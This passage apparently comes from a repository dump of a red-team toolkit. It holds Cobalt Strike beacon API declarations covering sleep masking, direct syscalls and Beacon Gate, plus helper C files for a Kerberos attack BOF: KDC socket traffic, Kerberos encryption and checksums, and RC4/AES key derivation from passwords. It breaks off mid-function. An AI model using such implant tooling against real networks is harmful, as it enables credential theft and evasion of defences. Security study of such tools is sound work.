{\n\tMETHOD_UNKNOWN,\n\tMETHOD_VIRTUALALLOC,\n\tMETHOD_HEAPALLOC,\n\tMETHOD_MODULESTOMP,\n\tMETHOD_NTMAPVIEW,\n\tMETHOD_USER_DEFINED = 1000,\n} ALLOCATED_MEMORY_ALLOCATION_METHOD;\n\n/**\n* This structure allows the user to provide additional information\n* about the allocated heap for cleanup. It is mandatory to provide\n* the HeapHandle but the DestroyHeap Boolean can be used to indicate\n* whether the clean up code should destroy the heap or simply free the pages.\n* This is useful in situations where a loader allocates memory in the\n* processes current heap.\n*/\ntypedef struct _HEAPALLOC_INFO {\n\tPVOID HeapHandle;\n\tBOOL  DestroyHeap;\n} HEAPALLOC_INFO, *PHEAPALLOC_INFO;\n\ntypedef struct _MODULESTOMP_INFO {\n\tHMODULE ModuleHandle;\n} MODULESTOMP_INFO, *PMODULESTOMP_INFO;\n\ntypedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION {\n\tHEAPALLOC_INFO HeapAllocInfo;\n\tMODULESTOMP_INFO ModuleStompInfo;\n\tPVOID Custom;\n} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION;\n\ntypedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION {\n\tBOOL Cleanup;\n\tALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod;\n\tALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation;\n} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION;\n\ntypedef struct _ALLOCATED_MEMORY_SECTION {\n\tALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development\n\tPVOID  BaseAddress;           // Pointer to virtual address of section\n\tSIZE_T VirtualSize;           // Virtual size of the section\n\tDWORD  CurrentProtect;        // Current memory protection of the section\n\tDWORD  PreviousProtect;       // The previous memory protection of the section (prior to masking/unmasking)\n\tBOOL   MaskSection;           // A boolean to indicate whether the section should be masked\n\tDWORD  DripLoadPageSize;      // The page size used when committing memory during drip-loading\n} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION;\n\ntypedef struct _ALLOCATED_MEMORY_REGION {\n\tALLOCATED_MEMORY_PURPOSE Purpose;      // A label to indicate the purpose of the allocated memory\n\tPVOID  AllocationBase;                 // The base address of the allocated memory block\n\tSIZE_T RegionSize;                     // The size of the allocated memory block\n\tDWORD Type;                            // The type of memory allocated\n\tDWORD DripLoadAllocationGranularity;   // The allocation granularity used when reserving memory for drip-loading\n\tALLOCATED_MEMORY_SECTION Sections[8];  // An array of section information structures\n\tALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation\n} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION;\n\ntypedef struct {\n\tALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];\n} ALLOCATED_MEMORY, *PALLOCATED_MEMORY;\n\n/*\n *  version               - The version of the beacon dll was added for release 4.10\n *                          version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch\n *                          e.g. 0x040900 -> CS 4.9\n *                               0x041000 -> CS 4.10\n *\n *  sleep_mask_ptr        - pointer to the sleep mask base address\n *  sleep_mask_text_size  - the sleep mask text section size\n *  sleep_mask_total_size - the sleep mask total memory size\n *\n *  beacon_ptr   - pointer to beacon's base address\n *                 The stage.obfuscate flag affects this value when using CS default loader.\n *                    true:  beacon_ptr = allocated_buffer - 0x1000 (Not a valid address)\n *                    false: beacon_ptr = allocated_buffer (A valid address)\n *                 For a UDRL the beacon_ptr will be set to the 1st argument to DllMain\n *                 when the 2nd argument is set to DLL_PROCESS_ATTACH.\n *  heap_records - list of memory addresses on the heap beacon wants to mask.\n *                 The list is terminated by the HEAP_RECORD.ptr set to NULL.\n *  mask         - the mask that beacon randomly generated to apply\n *\n *  Added in version 4.10\n *  allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA\n *                     via a UDRL.\n */\ntypedef struct {\n\tunsigned int version;\n\tchar  * sleep_mask_ptr;\n\tDWORD   sleep_mask_text_size;\n\tDWORD   sleep_mask_total_size;\n\n\tchar  * beacon_ptr;\n\tHEAP_RECORD * heap_records;\n\tchar    mask[MASK_SIZE];\n\n\tALLOCATED_MEMORY allocatedMemory;\n} BEACON_INFO, *PBEACON_INFO;\n\nDECLSPEC_IMPORT BOOL   BeaconInformation(PBEACON_INFO info);\n\n/* Key/Value store functions\n *    These functions are used to associate a key to a memory address and save\n *    that information into beacon.  These memory addresses can then be\n *    retrieved in a subsequent execution of a BOF.\n *\n *    key - the key will be converted to a hash which is used to locate the\n *          memory address.\n *\n *    ptr - a memory address to save.\n *\n * Considerations:\n *    - The contents at the memory address is not masked by beacon.\n *    - The contents at the memory address is not released by beacon.\n *\n */\nDECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr);\nDECLSPEC_IMPORT void * BeaconGetValue(const char * key);\nDECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key);\n\n/* Beacon Data Store functions\n *    These functions are used to access items in Beacon's Data Store.\n *    BeaconDataStoreGetItem returns NULL if the index does not exist.\n *\n *    The contents are masked by default, and BOFs must unprotect the entry\n *    before accessing the data buffer. BOFs must also protect the entry\n *    after the data is not used anymore.\n *\n */\n\n#define DATA_STORE_TYPE_EMPTY 0\n#define DATA_STORE_TYPE_GENERAL_FILE 1\n\ntypedef struct {\n\tint type;\n\tDWORD64 hash;\n\tBOOL masked;\n\tchar* buffer;\n\tsize_t length;\n} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT;\n\nDECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index);\nDECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index);\nDECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index);\nDECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries();\n\n/* Beacon User Data functions */\nDECLSPEC_IMPORT char * BeaconGetCustomUserData();\n\n/* Beacon System call */\n/* Syscalls API */\ntypedef struct\n{\n\tPVOID fnAddr;\n\tPVOID jmpAddr;\n\tDWORD sysnum;\n} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY;\n\ntypedef struct\n{\n\tSYSCALL_API_ENTRY ntAllocateVirtualMemory;\n\tSYSCALL_API_ENTRY ntProtectVirtualMemory;\n\tSYSCALL_API_ENTRY ntFreeVirtualMemory;\n\tSYSCALL_API_ENTRY ntGetContextThread;\n\tSYSCALL_API_ENTRY ntSetContextThread;\n\tSYSCALL_API_ENTRY ntResumeThread;\n\tSYSCALL_API_ENTRY ntCreateThreadEx;\n\tSYSCALL_API_ENTRY ntOpenProcess;\n\tSYSCALL_API_ENTRY ntOpenThread;\n\tSYSCALL_API_ENTRY ntClose;\n\tSYSCALL_API_ENTRY ntCreateSection;\n\tSYSCALL_API_ENTRY ntMapViewOfSection;\n\tSYSCALL_API_ENTRY ntUnmapViewOfSection;\n\tSYSCALL_API_ENTRY ntQueryVirtualMemory;\n\tSYSCALL_API_ENTRY ntDuplicateObject;\n\tSYSCALL_API_ENTRY ntReadVirtualMemory;\n\tSYSCALL_API_ENTRY ntWriteVirtualMemory;\n\tSYSCALL_API_ENTRY ntReadFile;\n\tSYSCALL_API_ENTRY ntWriteFile;\n\tSYSCALL_API_ENTRY ntCreateFile;\n\tSYSCALL_API_ENTRY ntQueueApcThread;\n\tSYSCALL_API_ENTRY ntCreateProcess;\n\tSYSCALL_API_ENTRY ntOpenProcessToken;\n\tSYSCALL_API_ENTRY ntTestAlert;\n\tSYSCALL_API_ENTRY ntSuspendProcess;\n\tSYSCALL_API_ENTRY ntResumeProcess;\n\tSYSCALL_API_ENTRY ntQuerySystemInformation;\n\tSYSCALL_API_ENTRY ntQueryDirectoryFile;\n\tSYSCALL_API_ENTRY ntSetInformationProcess;\n\tSYSCALL_API_ENTRY ntSetInformationThread;\n\tSYSCALL_API_ENTRY ntQueryInformationProcess;\n\tSYSCALL_API_ENTRY ntQueryInformationThread;\n\tSYSCALL_API_ENTRY ntOpenSection;\n\tSYSCALL_API_ENTRY ntAdjustPrivilegesToken;\n\tSYSCALL_API_ENTRY ntDeviceIoControlFile;\n\tSYSCALL_API_ENTRY ntWaitForMultipleObjects;\n} SYSCALL_API, *PSYSCALL_API;\n\n/* Additional Run Time Library (RTL) addresses used to support system calls.\n * If they are not set then system calls that require them will fall back\n * to the Standard Windows API.\n *\n * Required to support the following system calls:\n *    ntCreateFile\n */\ntypedef struct\n{\n\tPVOID rtlDosPathNameToNtPathNameUWithStatusAddr;\n\tPVOID rtlFreeHeapAddr;\n\tPVOID rtlGetProcessHeapAddr;\n} RTL_API, *PRTL_API;\n\n/* Updated in version 4.11 to use the entire structure instead of pointers to the structure.\n * This allows for retrieving a copy of the information which would be under the BOF's\n * control instead of a reference pointer which may be obfuscated when beacon is sleeping.\n */\ntypedef struct\n{\n\tSYSCALL_API syscalls;\n\tRTL_API     rtls;\n} BEACON_SYSCALLS, *PBEACON_SYSCALLS;\n\n/* Updated in version 4.11 to include the size of the info pointer, which equals sizeof(BEACON_SYSCALLS) */\nDECLSPEC_IMPORT BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, SIZE_T infoSize, BOOL resolveIfNotInitialized);\n\n/* Beacon System call functions which will use the current system call method */\nDECLSPEC_IMPORT LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);\nDECLSPEC_IMPORT LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);\nDECLSPEC_IMPORT BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);\nDECLSPEC_IMPORT BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);\nDECLSPEC_IMPORT BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);\nDECLSPEC_IMPORT BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);\nDECLSPEC_IMPORT BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);\nDECLSPEC_IMPORT DWORD BeaconResumeThread(HANDLE threadHandle);\nDECLSPEC_IMPORT HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId);\nDECLSPEC_IMPORT HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId);\nDECLSPEC_IMPORT BOOL BeaconCloseHandle(HANDLE object);\nDECLSPEC_IMPORT BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress);\nDECLSPEC_IMPORT SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length);\nDECLSPEC_IMPORT BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);\nDECLSPEC_IMPORT BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead);\nDECLSPEC_IMPORT BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);\n\n/* Beacon Gate APIs */\nDECLSPEC_IMPORT VOID BeaconDisableBeaconGate();\nDECLSPEC_IMPORT VOID BeaconEnableBeaconGate();\n\nDECLSPEC_IMPORT VOID BeaconDisableBeaconGateMasking();\nDECLSPEC_IMPORT VOID BeaconEnableBeaconGateMasking();\n\n/* Beacon User Data\n *\n * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch\n * e.g. 0x040900 -> CS 4.9\n *      0x041000 -> CS 4.10\n*/\n\n#define DLL_BEACON_USER_DATA 0x0d\n#define BEACON_USER_DATA_CUSTOM_SIZE 32\ntypedef struct\n{\n\tunsigned int version;\n\tPSYSCALL_API syscalls;\n\tchar         custom[BEACON_USER_DATA_CUSTOM_SIZE];\n\tPRTL_API     rtls;\n\tPALLOCATED_MEMORY allocatedMemory;\n} USER_DATA, * PUSER_DATA;\n\n#ifdef __cplusplus\n}\n#endif // __cplusplus\n#endif // _BEACON_H_\n"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/_include/connection.c",
    "content": "#include \"functions.c\"\n\nUINT my_htonl(UINT hostlong) {\n    static const int endianness_test = 1;\n    if (*((char*)&endianness_test) == 1)\n        return ((hostlong >> 24) & 0xFF) | ((hostlong >> 8) & 0xFF00) | ((hostlong << 8) & 0xFF0000) | ((hostlong << 24) & 0xFF000000);\n    else\n        return hostlong;\n}\n\nUINT my_ntohl(UINT netlong) {\n    return my_htonl(netlong);\n}\n\nvoid sendBytes(char* server, char* port, PBYTE content, int contentSize, PBYTE* response, int* size) {\n    WSADATA wsaData;\n    int iResult = WS2_32$WSAStartup(MAKEWORD(2, 2), &wsaData);\n    if (iResult != 0) {\n        PRINT_OUT(\"[x] Failed to start WSA Winsocks: %d\\n\", iResult);\n        return;\n    }\n\n    struct addrinfo hints = { 0 };\n    hints.ai_family = AF_INET;\n    hints.ai_socktype = SOCK_STREAM;\n    hints.ai_protocol = IPPROTO_TCP;\n\n    struct addrinfo* result = NULL;\n    iResult = WS2_32$getaddrinfo(server, port, &hints, &result);\n    if (iResult != 0) {\n        PRINT_OUT(\"[x] Failed to get KDC IP info: %d\\n\", iResult);\n        WS2_32$WSACleanup();\n        return;\n    }\n\n    struct addrinfo* ptr = NULL;\n    SOCKET ConnectSocket = INVALID_SOCKET;\n    for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {\n\n        ConnectSocket = WS2_32$socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);\n        if (ConnectSocket == INVALID_SOCKET) {\n            PRINT_OUT(\"[x] Failed to connect to the KDC: %ld\\n\", WS2_32$WSAGetLastError());\n            WS2_32$WSACleanup();\n            return;\n        }\n\n        iResult = WS2_32$connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);\n        if (iResult == SOCKET_ERROR) {\n            WS2_32$closesocket(ConnectSocket);\n            ConnectSocket = INVALID_SOCKET;\n            continue;\n        }\n        break;\n    }\n\n    WS2_32$freeaddrinfo(result);\n\n    if (ConnectSocket == INVALID_SOCKET) {\n        PRINT_OUT(\"[x] Failed to connect to server!\\n\");\n        WS2_32$WSACleanup();\n        return;\n    }\n\n    int networkContentSize = my_htonl(contentSize);\n    char test[4] = \"\";\n    MemCpy(test, &networkContentSize, sizeof(int));\n    iResult = WS2_32$send(ConnectSocket, test, 4, 0);\n    iResult = WS2_32$send(ConnectSocket, content, contentSize, 0);\n    if (iResult == SOCKET_ERROR) {\n        PRINT_OUT(\"[x] Failed to write data: %d\\n\", WS2_32$WSAGetLastError());\n        WS2_32$closesocket(ConnectSocket);\n        WS2_32$WSACleanup();\n        return;\n    }\n\n    char sizeBuff[4] = \"\";\n    iResult = WS2_32$recv(ConnectSocket, sizeBuff, 4, 0);\n    if (iResult < 0) {\n        PRINT_OUT(\"[x] Failed to receive data size from KDC: %d\\n\", WS2_32$WSAGetLastError());\n        return;\n    }\n\n    MemCpy(size, sizeBuff, sizeof(int));\n    *size = my_ntohl(*size) & 0x7fffffff;\n\n    *response = MemAlloc(*size);\n    if (!*response) {\n        PRINT_OUT(\"[x] Failed to allocate KDC response buffer\\n\");\n        return;\n    }\n    PBYTE buff = *response;\n    int bufferSize = 0;\n    do {\n        iResult = WS2_32$recv(ConnectSocket, buff, *size, 0);\n        if (iResult < 0) {\n            PRINT_OUT(\"[x] Failed to receive data size from KDC: %d\\n\", WS2_32$WSAGetLastError());\n            return;\n        }\n        buff += iResult;\n        bufferSize += iResult;\n    } while (bufferSize != *size);\n\n    WS2_32$closesocket(ConnectSocket);\n    WS2_32$WSACleanup();\n}\n"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/_include/crypt_b64.c",
    "content": "#pragma once\n#include \"functions.c\"\n\nchar* base64_encode(byte* input, size_t input_len) {\n    char base64_chars[] = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n    size_t output_len = 4 * ((input_len + 2) / 3);\n    byte* output = MemAlloc(output_len + 1);\n    if (output == NULL)\n        return NULL;\n\n    size_t i = 0, j = 0;\n    while (i < input_len) {\n        UINT octet_a = i < input_len ? input[i++] : 0;\n        UINT octet_b = i < input_len ? input[i++] : 0;\n        UINT octet_c = i < input_len ? input[i++] : 0;\n\n        UINT triple = (octet_a << 0x10) + (octet_b << 0x08) + octet_c;\n\n        output[j++] = base64_chars[(triple >> 3 * 6) & 0x3F];\n        output[j++] = base64_chars[(triple >> 2 * 6) & 0x3F];\n        output[j++] = base64_chars[(triple >> 1 * 6) & 0x3F];\n        output[j++] = base64_chars[(triple >> 0 * 6) & 0x3F];\n    }\n\n    if (input_len % 3 == 1) {\n        output[output_len - 1] = '=';\n        output[output_len - 2] = '=';\n    }\n    else if (input_len % 3 == 2) {\n        output[output_len - 1] = '=';\n    }\n\n    output[output_len] = '\\0';\n    return output;\n}\n\nint base64_decode_char(char c) {\n    if (c >= 'A' && c <= 'Z')\n        return c - 'A';\n    if (c >= 'a' && c <= 'z')\n        return c - 'a' + 26;\n    if (c >= '0' && c <= '9')\n        return c - '0' + 52;\n    if (c == '+')\n        return 62;\n    if (c == '/')\n        return 63;\n    return -1; // Invalid character\n}\n\nbyte* base64_decode(byte* input, int* output_len) {\n    int input_len = my_strlen(input);\n    int padding = 0;\n    if (input_len == 0) {\n        *output_len = 0;\n        return NULL;\n    }\n\n    if (input[input_len - 1] == '=') {\n        padding++;\n        if (input[input_len - 2] == '=') {\n            padding++;\n        }\n    }\n\n    *output_len = (input_len * 3) / 4 - padding;\n    byte* output = MemAlloc(*output_len);\n    if (output == NULL)\n        return NULL;\n\n    size_t i = 0, j = 0;\n    while (i < input_len - padding) {\n        UINT sextet_a = input[i] == '=' ? 0 : (UINT)base64_decode_char(input[i++]);\n        UINT sextet_b = input[i] == '=' ? 0 : (UINT)base64_decode_char(input[i++]);\n        UINT sextet_c = input[i] == '=' ? 0 : (UINT)base64_decode_char(input[i++]);\n        UINT sextet_d = input[i] == '=' ? 0 : (UINT)base64_decode_char(input[i++]);\n\n        UINT triple = (sextet_a << 18) + (sextet_b << 12) + (sextet_c << 6) + sextet_d;\n\n        if (j < *output_len)\n            output[j++] = (triple >> 16) & 0xFF;\n        if (j < *output_len)\n            output[j++] = (triple >> 8) & 0xFF;\n        if (j < *output_len)\n            output[j++] = triple & 0xFF;\n    }\n    return output;\n}"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/_include/crypt_checksum.c",
    "content": "#pragma once\n#include \"_include/functions.c\"\n\nBOOL checksum(byte* key, int key_length, byte* data, int data_length, int chksumUsage, int keyUsage, byte** result, DWORD* size) {\n    PKERB_CHECKSUM pCheckSum;\n    PVOID pContext;\n\n    if (!NT_SUCCESS(CDLocateCheckSum(chksumUsage, &pCheckSum))) {\n        PRINT_OUT(\"[x] Failed to call CDLocateCSystem\");\n        return TRUE;\n    }\n\n    if (!NT_SUCCESS(pCheckSum->InitializeEx(key, key_length, keyUsage, &pContext))) {\n        PRINT_OUT(\"[x] Failed to initialize crypto system\");\n        return TRUE;\n    }\n\n    *size = pCheckSum->CheckSumSize;\n    *result = MemAlloc(*size);\n\n    pCheckSum->Sum(pContext, data_length, data);\n    pCheckSum->Finalize(pContext, *result);\n    pCheckSum->Finish(&pContext);\n\n    return FALSE;\n}"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/_include/crypt_dec.c",
    "content": "#pragma once\n#include \"functions.c\"\n\nBOOL decrypt(byte* key, DWORD eType, DWORD keyUsage, byte* data, int dataSize, byte** result, int* size) {\n    PKERB_ECRYPT pCSystem;\n    PVOID\t\t pContext;\n    NTSTATUS\t status;\n\n    status = CDLocateCSystem(eType, &pCSystem);\n    if (!NT_SUCCESS(status)) {\n        PRINT_OUT(\"[x] Failed to call CDLocateCSystem\");\n        return TRUE;\n    }\n\n    status = pCSystem->Initialize(key, pCSystem->KeySize, keyUsage, &pContext);\n    if (!NT_SUCCESS(status)) {\n        PRINT_OUT(\"[x] Failed to initialize crypto system\");\n        return TRUE;\n    }\n\n    *result = MemAlloc(dataSize);\n    *size = dataSize;\n    status = pCSystem->Decrypt(pContext, data, dataSize, *result, size);\n\n    pCSystem->Finish(&pContext);\n    return FALSE;\n}"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/_include/crypt_enc.c",
    "content": "#pragma once\n#include \"functions.c\"\n\nBOOL encrypt(byte* rawBytes, int rawSize, byte* key, DWORD eType, int keyUsage, byte** result, DWORD* size) {\n    PKERB_ECRYPT pCSystem;\n    PVOID pContext;\n    BOOL status = FALSE;\n\n    if (!NT_SUCCESS(CDLocateCSystem(eType, &pCSystem))) {\n        PRINT_OUT(\"[x] Failed to call CDLocateCSystem\");\n        return TRUE;\n    }\n\n    if (!NT_SUCCESS(pCSystem->Initialize(key, pCSystem->KeySize, keyUsage, &pContext))) {\n        PRINT_OUT(\"[x] Failed to initialize crypto system\");\n        return TRUE;\n    }\n    *size = rawSize;\n\n    DWORD modulo = *size % pCSystem->BlockSize;\n    if (modulo)\n        *size += pCSystem->BlockSize - modulo;\n\n    *size += pCSystem->HeaderSize;\n    *result = MemAlloc(*size);\n\n    if (*result) {\n        if (!NT_SUCCESS(pCSystem->Encrypt(pContext, rawBytes, rawSize, *result, size))) {\n            PRINT_OUT(\"[x] Failed to encrypt data\");\n            status = TRUE;\n        }\n    }\n    else {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        status = TRUE;\n    }\n\n    pCSystem->Finish(&pContext);\n    return status;\n}"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/_include/crypt_key.c",
    "content": "#pragma once\n#include \"functions.c\"\n\nBOOL char2unicode(char* source, UNICODE_STRING* result) {\n    STRING ansiPassword;\n\n    RtlInitAnsiString(&ansiPassword, source);\n    return RtlAnsiStringToUnicodeString(result, &ansiPassword, 1) != 0;\n}\n\nBOOL get_key_rc4(char* password, byte** hash, int* size) {\n    BOOL\t\t status = FALSE;\n    PKERB_ECRYPT pCSystem;\n\n    if (!NT_SUCCESS(CDLocateCSystem(rc4_hmac, &pCSystem))) {\n        PRINT_OUT(\"[x] Failed to call CDLocateCSystem\");\n        return TRUE;\n    }\n\n    STRING ansiPassword;\n    UNICODE_STRING unicodePassword;\n    UNICODE_STRING Salt;\n    *size = pCSystem->KeySize;\n\n    char2unicode(password, &unicodePassword);\n    RtlInitUnicodeString(&Salt, L\"\");\n\n    *hash = MemAlloc(pCSystem->KeySize);\n    if (*hash) {\n        pCSystem->HashPassword_NT6(&unicodePassword, &Salt, 4096, *hash);\n        return FALSE;\n    }\n    else {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n    }\n}\n\nBOOL get_key_aes128(char* domain, char* username, char* password, byte** hash, int* size) {\n    BOOL\t\t status = FALSE;\n    PKERB_ECRYPT pCSystem;\n\n    if (!NT_SUCCESS(CDLocateCSystem(aes128_cts_hmac_sha1, &pCSystem))) {\n        PRINT_OUT(\"[x] Failed to call CDLocateCSystem\");\n        return TRUE;\n    }\n    *size = pCSystem->KeySize;\n\n    int domain_size = my_strlen(domain);\n    int username_size = my_strlen(username);\n\n    char* salt;\n    if (username[username_size - 1] == '$') {\n        salt = MemAlloc(domain_size * 2 + username_size + 5);\n        if (!salt) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        int i, j;\n        for (i = 0; i < domain_size; i++)\n            salt[i] = my_toupper(domain[i]);\n        salt[i++] = 'h';\n        salt[i++] = 'o';\n        salt[i++] = 's';\n        salt[i++] = 't';\n        for (j = 0; j < username_size - 1; j++)\n            salt[i + j] = my_tolower(username[j]);\n        i = i + j;\n        salt[i++] = '.';\n        for (j = 0; j < domain_size; j++)\n            salt[i + j] = my_tolower(domain[j]);\n        salt[domain_size * 2 + username_size + 4] = 0;\n    }\n    else {\n        salt = MemAlloc(domain_size + username_size + 1);\n        if (!salt) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        int i, j;\n        for (i = 0; i < domain_size; i++)\n            salt[i] = my_toupper(domain[i]);\n        for (j = 0; j < username_size; j++)\n            salt[i + j] = my_tolower(username[j]);\n        salt[domain_size + username_size] = 0;\n    }\n\n    UNICODE_STRING unicodePassword;\n    UNICODE_STRING unicodeSalt;\n\n    char2unicode(password, &unicodePassword);\n    char2unicode(salt, &unicodeSalt);\n\n    *hash = MemAlloc(pCSystem->KeySize);\n    if (*hash) {\n        pCSystem->HashPassword_NT6(&unicodePassword, &unicodeSalt, 4096, *hash);\n        return FALSE;\n    }\n    else {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n    }\n}\n\nBOOL get_key_aes128_with_salt(char* domain, char* username, char* password, char* customSalt, byte** hash, int* size) {\n    BOOL\t\t status = FALSE;\n    PKERB_ECRYPT pCSystem;\n\n    if (!NT_SUCCESS(CDLocateCSystem(aes128_cts_hmac_sha1, &pCSystem))) {\n        PRINT_OUT(\"[x] Failed to call CDLocateCSystem\");\n        return TRUE;\n    }\n    *size = pCSystem->KeySize;\n\n    char* salt;\n    if (customSalt && my_strlen(customSalt) > 0) {\n        int salt_len = my_strlen(customSalt);\n        salt = MemAlloc(salt_len + 1);\n        if (!salt) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        MemCpy(salt, customSalt, salt_len + 1);\n    }\n    else {\n        int domain_size = my_strlen(domain);\n        int username_size = my_strlen(username);\n\n        if (username[username_size - 1] == '$') {\n            salt = MemAlloc(domain_size * 2 + username_size + 5);\n            if (!salt) {\n                PRINT_OUT(\"[x] Failed alloc memory\");\n                return TRUE;\n            }\n            int i, j;\n            for (i = 0; i < domain_size; i++)\n                salt[i] = my_toupper(domain[i]);\n            salt[i++] = 'h';\n            salt[i++] = 'o';\n            salt[i++] = 's';\n            salt[i++] = 't';\n            for (j = 0; j < username_size - 1; j++)\n                salt[i + j] = my_tolower(username[j]);\n            i = i + j;\n            salt[i++] = '.';\n            for (j = 0; j < domain_size; j++)\n                salt[i + j] = my_tolower(domain[j]);\n            salt[domain_size * 2 + username_size + 4] = 0;\n        }\n        else {\n            salt = MemAlloc(domain_size + username_size + 1);\n            if (!salt) {\n                PRINT_OUT(\"[x] Failed alloc memory\");\n                return TRUE;\n            }\n            int i, j;\n            for (i = 0; i < domain_size; i++)\n                salt[i] = my_toupper(domain[i]);\n            for (j = 0; j < username_size; j++)\n                salt[i + j] = my_tolower(username[j]);\n            salt[domain_size + username_size] = 0;\n        }\n    }\n\n    UNICODE_STRING unicodePassword;\n    UNICODE_STRING unicodeSalt;\n\n    char2unicode(password, &unicodePassword);\n    char2unicode(salt, &unicodeSalt);\n\n    *hash = MemAlloc(pCSystem->KeySize);\n    if (*hash) {\n        pCSystem->HashPassword_NT6(&unicodePassword, &unicodeSalt, 4096, *hash);\n        return FALSE;\n    }\n    else {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n    }\n}\n\nBOOL get_key_aes256_with_salt(char* domain, char* username, char* password, char* customSalt, byte** hash, int* size) {\n    BOOL\t\t status = FALSE;\n    PKERB_ECRYPT pCSystem;\n\n    if (!NT_SUCCESS(CDLocateCSystem(aes256_cts_hmac_sha1, &pCSystem))) {\n        PRINT_OUT(\"[x] Failed to call CDLocateCSystem\");\n        return TRUE;\n    }\n    *size = pCSystem->KeySize;\n\n    char* salt;\n    if (customSalt && my_strlen(customSalt) > 0) {\n        // Use custom salt from KDC (for Protected Users)\n        int salt_len = my_strlen(customSalt);\n        salt = MemAlloc(salt_len + 1);\n        if (!salt) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        MemCpy(salt, customSalt, salt_len + 1);\n    }\n    else {\n        // Generate default salt\n        int domain_size = my_strlen(domain);\n        int username_size = my_strlen(username);\n\n        if (username[username_size - 1] == '$') {\n            salt = MemAlloc(domain_size * 2 + username_size + 5);\n            if (!salt) {\n                PRINT_OUT(\"[x] Failed alloc memory\");\n                return TRUE;\n            }\n            int i, j;\n            for (i = 0; i < domain_size; i++)\n                salt[i] = my_toupper(domain[i]);\n            salt[i++] = 'h';\n            salt[i++] = 'o';\n            salt[i++] = 's';\n            salt[i++] = 't';\n            for (j = 0; j < username_size - 1; j++)\n                salt[i + j] = my_tolower(username[j]);\n            i = i + j;\n            salt[i++] = '.';\n            for (j = 0; j < domain_size; j++)\n                salt[i + j] = my_tolower(domain[j]);\n            salt[domain_size * 2 + username_size + 4] = 0;\n        }\n        else {\n            salt = MemAlloc(domain_size + username_size + 1);\n            if (!salt) {\n                PRINT_OUT(\"[x] Failed alloc memory\");\n                return TRUE;\n            }\n            int i, j;\n            for (i = 0; i < domain_size; i++)\n                salt[i] = my_toupper(domain[i]);\n            for (j = 0; j < username_size; j++)\n                salt[i + j] = username[j];\n            salt[domain_size + username_size] = 0;\n        }\n    }\n\n    UNICODE_STRING unicodePassword;\n    UNICODE_STRING unicodeSalt;\n\n    char2unicode(password, &unicodePassword);\n    char2unicode(salt, 